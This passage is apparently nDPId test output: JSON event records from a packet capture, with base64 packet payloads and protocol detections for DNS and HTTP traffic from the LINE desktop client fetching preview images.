+00637{"flow_id":113,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1106,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":309806,"pkt_caplen":218,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":218,"pkt_l4_len":184,"pkt":"TF4M6gNlYMVHBbyMCABFAADMNWBAAEAG29PAqAUQd+vrVNCeAbvl8suWQSsKR1AYHgELKgAAgAIAAQAAAJwAAAAjAAAAAIAAojjr5ukXJ+snFmTqlxnpFySmp2bmpeXrp6eW6IGyoD1QhS1IbbGqsaOqkRsQlZeXqxq5piUmpybl52cDmcn5uUDh9KL8UqAqI7fUquTE3ILUIiBTrTi\/tCg5NaSyINU2xNPX1cfTz5XU8sHYyARaPkgglw\/5ySWpJbrFJUWpwGAbLRgGe8HA7O5KVrkAAAAA\/\/8="} +00427{"flow_id":119,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1107,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":344934,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0wvhAAFgGI+IfDVckwKgFEAG70UwEnaJ1\/FJz6IAQAQwpHAAAAQEICl\/vExUaD5lC"} +01765{"flow_id":120,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1108,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":359120,"pkt_caplen":1051,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1051,"pkt_l4_len":1017,"pkt":"ABAj4ACgYMVHBbyMCABFAAQNDUFAAEAGL\/7AqAUQwKhzS9F6Abs0INwPJFeBiFAYIABBQgAAFwMDA+DdyOqy0YUJ6lUDAECJsqxUxh1HQFpb+WM5GmiLBnJo0s4kVSb\/p9dyE17bgpaPoK8rfeRPzRGHJZt6ihexnuSjED3x2khAakbXM4nDu1azXc8lpFkY\/dYuW0uOG1vuhsdZ4AWaZRRHHX8EDFR8x2jNFr3j86YNaQoYJTguixenFtY2IBIMZuKOrTv9D\/WH9C2ZA5Z9u1ymEwCtZeT6S1koFSd2wby8yGtunQysR8f\/oBKuPIC3bLz2YtQKfy0o+lEHrJzoDS5wLZ8amYqTsQ7nI5JWm25MtABA6pRH35L6zMTWbqDb66wTkpSdVPZcczxhfLdY1Wm7bb+cUeMyU2fofRDSK\/AdEB3ar41S8nvWNvR0XgxIAPIKK2SI2GukfREUhFA58uT6aaLg8cZBpRiwHWv8oak5tcZE1jAYuQQnzknPOpYwVnEwwltzwh2S7qltW1yzhAWUx\/7w5Im\/yUGgUAQKEM65n+I731ZEkkQxINGCyvmCDEOBzHUPtkmDhPE7yRDME3+O8d8KM7W3qO31ipgzIAgzOGGCcxaVmB+jde8CpXmSR+wxiZHMA+amNobf3iFjCVSeTzPCuh2l14Xh8O+LkMXcbQ0578KcAhhmHloQrtceTQBi6AbKbDIskj0tbB5jt+K56BN7oZcnOZa+hjD8mpNhkzYAjD5r5XE9gM0Wrb7U7xBqpxWmiI63PNK\/hlXZvQxcsWeLXgLRFpKOH\/NDkfInyH\/zIecVfJLjfIkYYDWXGdqJByvUL5AIi+1Ryadd\/zMTKhK7hDL4FldMHE\/7cqLe9QRZPWKP8DeKK7YgGQAqOYmiGtVBwhfCc2Ytgo\/Ti8tGvGgGFj\/5r9Qcocyl+aGqls2KceDKzu5Uya+mU5uLAi0djD6Pwlrljv7ELCak1USaVEd7VvOFJmuGX3xQt3M3Bs3uMGq1leJxXigSk4MlkUFOcS+34DqaUbt59KQr4TBvcPQQH79rGSIDinAPY5bagpJaLG7ig0fsDtAM2h0zNhtN6uHhCWYAwMpJL+hwMd17AKsLkpsvmfC\/6AJxubK3xURGJVAXNkKKBjVMzdq+XVBCQSV6JlXaEL7TLjo6F\/+DG2bEtxcNU+UqAsmR8n9IIokiTBEk0+3NzsdRheekzSxs7grfqfTQ1r7rsu4WWTATYDJIv1QN1Ro94HQaIHujsosfIpvFA8lafSNyLWiShBkTZJbJ0HNgEsdCpzanC0fEVKd5AqlrA1tuEFhlmeR5DLx0hrJuUE4HC34FEXMcXztq3ICxBGAwTgfKYmKIe9jwIbFT3LkyYLYCVcLEOn6Oj18nch5jiOWYbg=="} +01205{"flow_id":120,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1109,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":381027,"pkt_caplen":639,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":639,"pkt_l4_len":605,"pkt":"ABxCjnAxABAj4ACgCABFAAJxBAZAAEAGOtXAqHNLwKgFEAG70XokV4GINCDf9FAYAEbK5QAAFwMDAXAVgJ9VvcouvH0Ppc\/i4Ut2OeXS01bRS2y8KkU+eXEjEltpmkhLxFowBzXFGr+\/uElnc8Kd4X6LW\/z4mHhGx149NaEE7809GANuSmWZMWUCGjEzPzEnsNDpCS6qbpZDSQ2fvWF2KPoIdKbTUD1V0PdPwpFUe6LuAmIgaVg3HhsXhEft7ZVjVIwzSys622xsBCg8Vw7O1SBOsPHwsMnpI1vvtqeeV5XinjcFKlMwlL\/WYaM4K018GgyOdezkI5dO9mw16oP5OyrFRv9ZRYnUX08onqrsXbFPrbZ8VXUzB1b6rDcILUmPIJhpH+eFEhdgKc5QrxETnK1m71tn3mwE0i\/3TZyvpwBQM0dfWBm0gepZC87DF5\/f5y\/tuJskthRedvXxo\/97PtRF8n0Eznh7B0x5z6tvBIg4bN7TPRSBVqNJxVr1hOpQPFWsu5TV2+zHgKDocotQE8CdQ0KkUJGg52fV0+AfkC\/3vTvTLA3EupCq1hcDAwAwfRGiNXUZlVof50LkQgiqeBQE2N77Tf9cuGPcn9cmKt8ezAa7NhafNIFB6g\/0wd18FwMDADByW8+YVB8UgIiPgFetMgS0lbz8Y5Igf9MTBSH4fXhKlazLWuG4IEKMvR94sTpuPHoXAwMAMHWSve1S+hgCyLjH94+51x5CCQAu8kqgnMCf9vKh5tjugT+x\/mQZ239YH3pBWIX\/HxcDAwAwIBz6NiNqVoHJvGg+rSflUC8+ic1CFuU7fPMZ2+BtTGMfx6uWnDcyG9rbi+gKBeto"} +00419{"flow_id":120,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1110,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":381082,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAo1GZAAEAGbL3AqAUQwKhzS9F6Abs0IN\/0JFeD0VAQH+0GyAAAAAfQAAAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1111,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1470104414395,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"168.95.1.1","src_port":63372,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":121,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1111,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":395988,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"TF4M6gNlYMVHBbyMCABFAABL64oAAP8RYP7AqAUQqF8BAfeMADUAN6RcbYwBAAABAAAAAAAABmRsLW9icwhvZmZpY2lhbARsaW5lBW5hdmVyAmpwAAABAAE="} +00647{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1111,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1470104414395,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"168.95.1.1","src_port":63372,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"dl-obs.official.line.naver.jp","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00729{"flow_id":121,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1112,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":402314,"pkt_caplen":289,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":289,"pkt_l4_len":255,"pkt":"ABxCjnAxTF4M6gNlCABFAAET0UQAAPgRgXyoXwEBwKgFEAA194wA\/yfZbYyBgAABAAYAAAAABmRsLW9icwhvZmZpY2lhbARsaW5lBW5hdmVyAmpwAAABAAHADAAFAAEAAUxDAC0GZGwtb2JzCG9mZmljaWFsBGxpbmUFbmF2ZXICanAJZWRnZXN1aXRlA25ldADAOwAFAAEAAACwADUKY2FjLWRsLW9icwhvZmZpY2lhbARsaW5lBW5hdmVyAmpwCWxpbmUtemVybwZha2FkbnPAY8B0AAUAAQAAAQAAEgVhMTg2NwJnMgZha2FtYWnAY8C1AAEAAQAAAAUABMtFUUnAtQABAAEAAAAFAATLRVFCwLUAAQABAAAABQAEPdw+2g=="} +00675{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1112,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":2,"flow_first_seen":1470104414395,"flow_last_seen":1470104414402,"flow_tot_l4_data_len":310,"flow_min_l4_data_len":55,"flow_max_l4_data_len":255,"flow_avg_l4_data_len":155,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"168.95.1.1","src_port":63372,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"dl-obs.official.line.naver.jp","num_queries":1,"num_answers":6,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"203.69.81.73"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1113,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":1470104414404,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"203.69.81.73","src_port":53627,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":122,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1113,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":404078,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"TF4M6gNlYMVHBbyMCABFAABA+kNAAEAGXi3AqAUQy0VRSdF7AFCoMQrOAAAAALAC\/\/8cMAAAAgQFtAEDAwUBAQgKGg+ZqwAAAAAEAgAA"} +00418{"flow_id":113,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1114,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":404710,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAoDLZAADMGEiJ36+tUwKgFEAG70J5BKwpH5fLMOlAQAB62xAAAAAAAAAAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1116,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1470104414404,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"203.69.81.73","src_port":53628,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":123,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1116,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":404981,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"TF4M6gNlYMVHBbyMCABFAABAQJ1AAEAGF9TAqAUQy0VRSdF8AFD2CJDQAAAAALAC\/\/9IVAAAAgQFtAEDAwUBAQgKGg+ZrAAAAAAEAgAA"} +00438{"flow_id":122,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1117,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":407420,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABxCjnAxTF4M6gNlCABFAAA8AABAADsGXXXLRVFJwKgFEABQ0Xu\/8FK8qDEKz6AScSAwjAAAAgQFtAQCCAobhF1GGg+ZqwEDAwU="} +00426{"flow_id":122,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1118,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":407471,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0pGZAAEAGtBbAqAUQy0VRSdF7AFCoMQrPv\/BSvYAQEBXAXgAAAQEIChoPma4bhF1G"} +00437{"flow_id":123,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1119,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":407965,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABxCjnAxTF4M6gNlCABFAAA8AABAADsGXXXLRVFJwKgFEABQ0Xzxz9ee9giQ0aAScSCl7QAAAgQFtAQCCAobhF1HGg+ZrAEDAwU="} +00426{"flow_id":123,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1120,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":407997,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0fmZAAEAG2hbAqAUQy0VRSdF8AFD2CJDR8c\/Xn4AQEBU1wQAAAQEIChoPma4bhF1H"} +00789{"flow_id":123,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1121,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":408704,"pkt_caplen":334,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":334,"pkt_l4_len":300,"pkt":"TF4M6gNlYMVHBbyMCABFAAFAl1xAAEAGwBTAqAUQy0VRSdF8AFD2CJDR8c\/Xn4AYEBWl1AAAAQEIChoPma8bhF1HR0VUIC9yL3RhbGsvbS80Njk3NzE2OTcxNTAwL3ByZXZpZXcgSFRUUC8xLjENCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1MZW5ndGg6IDANCkhvc3Q6IGRsLW9icy5vZmZpY2lhbC5saW5lLm5hdmVyLmpwDQpVc2VyLUFnZW50OiBERVNLVE9QOk1BQzoxMC4xMC41LVlPU0VNSVRFKDQuNy4yKQ0KWC1MaW5lLUFwcGxpY2F0aW9uOiBERVNLVE9QTUFDCTQuNy4yCU1BQwkxMC4xMC41LVlPU0VNSVRFDQoNCg=="} +00721{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1121,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":4,"flow_first_seen":1470104414404,"flow_last_seen":1470104414408,"flow_tot_l4_data_len":416,"flow_min_l4_data_len":32,"flow_max_l4_data_len":300,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"203.69.81.73","src_port":53628,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"dl-obs.official.line.naver.jp","url":"dl-obs.official.line.naver.jp\/r\/talk\/m\/4697716971500\/preview","code":0,"content_type":"","user_agent":"DESKTOP:MAC:10.10.5-YOSEMITE(4.7.2)"}} +00789{"flow_id":122,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1122,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":408737,"pkt_caplen":334,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":334,"pkt_l4_len":300,"pkt":"TF4M6gNlYMVHBbyMCABFAAFATvVAAEAGCHzAqAUQy0VRSdF7AFCoMQrPv\/BSvYAYEBUpZwAAAQEIChoPma8bhF1GR0VUIC9yL3RhbGsvbS80Njk3NzE2OTU0Njg4L3ByZXZpZXcgSFRUUC8xLjENCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1MZW5ndGg6IDANCkhvc3Q6IGRsLW9icy5vZmZpY2lhbC5saW5lLm5hdmVyLmpwDQpVc2VyLUFnZW50OiBERVNLVE9QOk1BQzoxMC4xMC41LVlPU0VNSVRFKDQuNy4yKQ0KWC1MaW5lLUFwcGxpY2F0aW9uOiBERVNLVE9QTUFDCTQuNy4yCU1BQwkxMC4xMC41LVlPU0VNSVRFDQoNCg=="} +00721{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1122,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":4,"flow_first_seen":1470104414404,"flow_last_seen":1470104414408,"flow_tot_l4_data_len":416,"flow_min_l4_data_len":32,"flow_max_l4_data_len":300,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"203.69.81.73","src_port":53627,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"dl-obs.official.line.naver.jp","url":"dl-obs.official.line.naver.jp\/r\/talk\/m\/4697716954688\/preview","code":0,"content_type":"","user_agent":"DESKTOP:MAC:10.10.5-YOSEMITE(4.7.2)"}} +00425{"flow_id":123,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1123,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":414084,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0itRAADsG0qjLRVFJwKgFEABQ0Xzxz9ef9giR3YAQA6tBGgAAAQEIChuEXUsaD5mv"} +00427{"flow_id":122,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1124,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":415614,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0D\/ZAADsGTYfLRVFJwKgFEABQ0Xu\/8FK9qDEL24AQA6vLtgAAAQEIChuEXUsaD5mv"} +02384{"flow_id":123,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1125,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":418773,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ABxCjnAxTF4M6gNlCABFAAXcitVAADsGzP\/LRVFJwKgFEABQ0Xzxz9ef9giR3YAQA6vQ\/AAAAQEIChuEXUsaD5mvSFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IGltYWdlL2pwZWcNCkNvbnRlbnQtTGVuZ3RoOiA3NTQyDQpFeHBpcmVzOiBTdW4sIDI5IEphbiAyMDE3IDAyOjEyOjI4IEdNVA0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0xMDM2ODAwMA0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCkxhc3QtTW9kaWZpZWQ6IFR1ZSwgMDIgQXVnIDIwMTYgMDI6MTI6MjggR01UDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNCkFjY2Vzcy1Db250cm9sLUV4cG9zZS1IZWFkZXJzOiBYLUxpbmUtSFRUUCxYLUxTLHgtb2JzLW9pZCx4LW9icy1oYXNoDQpYLUNvbnRlbnQtVHlwZS1PcHRpb25zOiBub3NuaWZmDQpEYXRlOiBUdWUsIDAyIEF1ZyAyMDE2IDAyOjIwOjE1IEdNVA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQr\/2P\/gABBKRklGAAEBAAABAAEAAP\/bAEMAGxIUFxQRGxcWFx4cGyAoQisoJSUoUTo9MEJgVWVkX1VdW2p4mYFqcZBzW12FtYaQnqOrratngLzJuqbHmairpP\/bAEMBHB4eKCMoTisrTqRuXW6kpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpP\/AABEIAKABAAMBIgACEQEDEQH\/xAAaAAACAwEBAAAAAAAAAAAAAAADBAECBQYA\/8QAPxAAAgECBAMFBQYFAgYDAAAAAQIDABEEEiExBUFREyJhcZEUMoGh0SNCUrHB8BVTYpLhQ3IGM1SCwvE0g9L\/xAAZAQADAQEBAAAAAAAAAAAAAAAAAQIDBAX\/xAAoEQACAgICAwEAAQMFAAAAAAAAAQIRAxIhMQQTUUFhFHGRgaHB8PH\/2gAMAwEAAhEDEQA\/AEAKkCrAVLXUXFdcpKKtnHCDySUF2yAKsFqgl20051dXU6HQ1ms0Hwb5PDzQV1f9uSbVJFhcmwq4WlWuGIO9GXI4LhC8Txl5Ddyqg2dBzJ+FXWzC4pWmcKQyW5ioxZXN0zbzPEhhgpQ\/3LhanLTOFw4mL5myqo1PjUQxxSyNGJdb2VraGtHmgm0\/zs87STp\/QGWvZaZGHft+yflq1jy6ijDAq1yspykXU2vUT8rFDtjjinLpGflr2Wmp4FhwyTFmGY2IYWoj4RUiVzJlNhnvrlNP+px0nffH+A9U\/gllqwSnJMKkaBjKAF0djqAf2aEqgnQg+VVjzQyK4ilCUewYjoqReFGjS9HWKqcioxsWEWtW7O+hFMSGOBA0hIBNhZSSdL7DwBqjT4UAk4mAAG1zIBb92NRsa6MXaLwoLRWp5WjkLCORHKmxysDbzpbt4XvZjoQNVI3OUfOqUjOURVkqhWmJWiAuZYwPFh4\/Q+lClKpbNfU2FgTrWiZk0wRFetUdvERfMbWze6duvlXu1jIDZjZtjlO3Xy1FPZBT+FhRYDd7daUGKhZgqsSSbe6etqtHioxIMrahgLfG1GyrspKS\/DQbQC9BdrnqKsZleTKFe9gdV5cvypYYqKRlVQ3evYkWBpJo0aYQlSedulCL2bwqSd6oa0MzwFDnsqi4060wFoWLiaSAhLZgb61z5FcWkb4JqGRSYsHBIA3OlWUZiQupoK4ecEMMvzomHixCMrAnfvDwrljjp8npZfKUk9Xz\/wB\/8H0Byi+9JYs5J2XXUXAHOtIC4BocuGWWRZLd5dL+FdOSO6o83BleGTaMkykPYg36Dem8A7iVkkQgHYk7eFN+xxZ8wUC+9hvRhEq7KKiGPV2Xl8h5FTQWGaOOJxKLqoLBbaMfHxq6wrw3BzOt3ZmuDbbpfyo="} +02391{"flow_id":123,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1126,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":418822,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ABxCjnAxTF4M6gNlCABFAAXcitZAADsGzP7LRVFJwKgFEABQ0Xzxz91H9giR3YAQA6vC2wAAAQEIChuEXUsaD5mvojrF3smZhzY6D4VEWNxIkJC9oh1IbT0rlz4Zyk3BcfqvsnHNJUwPDpJZ8aJi1y2lyL6eulaarlxBXIQMtlYjS2ml73rPhxc7YpmZLa\/K+1RNjJ+1kEamMvzLZraW0HKss\/j5Mkk4qlRpCcY8MniKmDhcMPdDowPcvYb860CyRuGb3TGWbS99tdqzcViZJcKEOGVScozA3OnwokmNxTSRvGoA\/AdvjUvx8soJNff37Q\/ZFOx5NZ1WwyvFdtN9qzeG98G473M0abiGIEgEcWXSxJ1FRw6Fkzlha+1beJinjtyVXX\/JGWSl0PRpTCrQ0FGWuqTCCBYnDmZFyOY3RsysADyI\/ImkZeEs8uczSHvA6m50YkC\/xNaGLBbCyKL3YZb3ta+l7+F6R4f7QJpBIZjeEWLk7gLsCTre9\/GoNSMDgZMIbM2a2g0tpmJ\/8qH7CkcZVdDmDXAAJs2bWjcMYiExySMzt37d45dtyRofD89aMwbNJck97u3AAtYbW5XvVxMZmTJgWFwJGA2BsLgd7n\/3GryR50AOhDBvSpw\/aNi51aYkIwB7pKvprbWwsdNOmt6BH2\/bJ2mY3Lk2JFu\/09PhWkWjCSf0GMIERFW3d5W0bxNU9ksdCRcZTYAXFMuzdk7jNdtEGQtYctB139KHdjgzfNnC2OZWUnTlzquBXIVGCZJAwbQNe1j6b1b2Z+0zZ7jQ2y6UfChhCQ4sQdVNyR5k0YqQdRahJDc5WLwYcLKGGUNz7gt8OhoYwLRyhw5IB586atRQQ4sdGHzp6occj6FyKqaM4tpfWhkVdkBQtS7JFGXkOVRubE2ooWqYmAzxCMMVUnvFTY26eN6zbNEiFZChfUAC5upBA8t6pBiYJwxjY2XckW5XquGw08MLw91SVypIu3nbkaFhuH4iDtFulmDAKLkdL3qNmXouRiPFYaRwiS3Y6gZSPzFWbFYdHKtJYjc2Nt7WvSw4dMmJEiZcosMpYm+mp9eVXfBYgTjEKqMdbovdtc9ba9fM0bMNIjEk8Mcixu\/eY2FgTbpfp\/irSzRwxh3JsTYAC5NAxWCaWVZliDWUDKXy6gk66G+49K9icJNiMKiZVzKvW3eNtb9LXoti1XA0jJIoZGDqdiKl2WNC7myi3K\/hQ8Fh2gXL90E28BfSiYqBp8O0SsFLFe8eViD+lO+CdVYJMZhXkCJMrMRfTyB\/X868MXhmlWMSBnYXAA5Wvek8PwyaGcsUQrkyixO9h\/n1qwwGJjnRmAktYFhIdgLDQip2ZekfppAXFWA8K8inKLgirgEcqoyo8I7+NEUHpUKSOVEVvCk2Wkiy0UVRTflVxWbNolr1BNVZgo7xAv1rykMdWyj8\/jSL5ZDMdtT4VRopD9w+ophFG9rDkP1qS4tpr5UbBon2JNhpm5AeZqvsEp95kHkSabM6fzEXwvc1UzwfeZm81J\/SnuyfTAWXh6neVn\/2Lb50VOHQj3lJ8zei+1R8sx+Fvzr3tUfRvSltJ\/pSxwX4WEUUKlgijKL3ArPljEy9\/wB7e\/Q01POkkeVCTc63BFAqbrkppNUzOeNkbKw1qlq0pI1kWzfA9KSeMo2Vt66Yz2OLJicH\/ALQ7+tQUPUVciqEVdkIZFBx79nCpEpjJJAIuNbGxuOm\/jtTAqJZexQHKWzGwA8r6+lZSdK2bLjkS7SVGmlWWRgttGuRqbk28Bb51DcSmTERx2jdDa7BGF7m3X400MRlI+x05kNfnbTSoGNViFESlmOxkA5XPLxG16y9kKuylOPZGNlcQxukhT3iVBKltNLEc\/A6GlzPIS47eRSrMGzM1h3xa55XGlx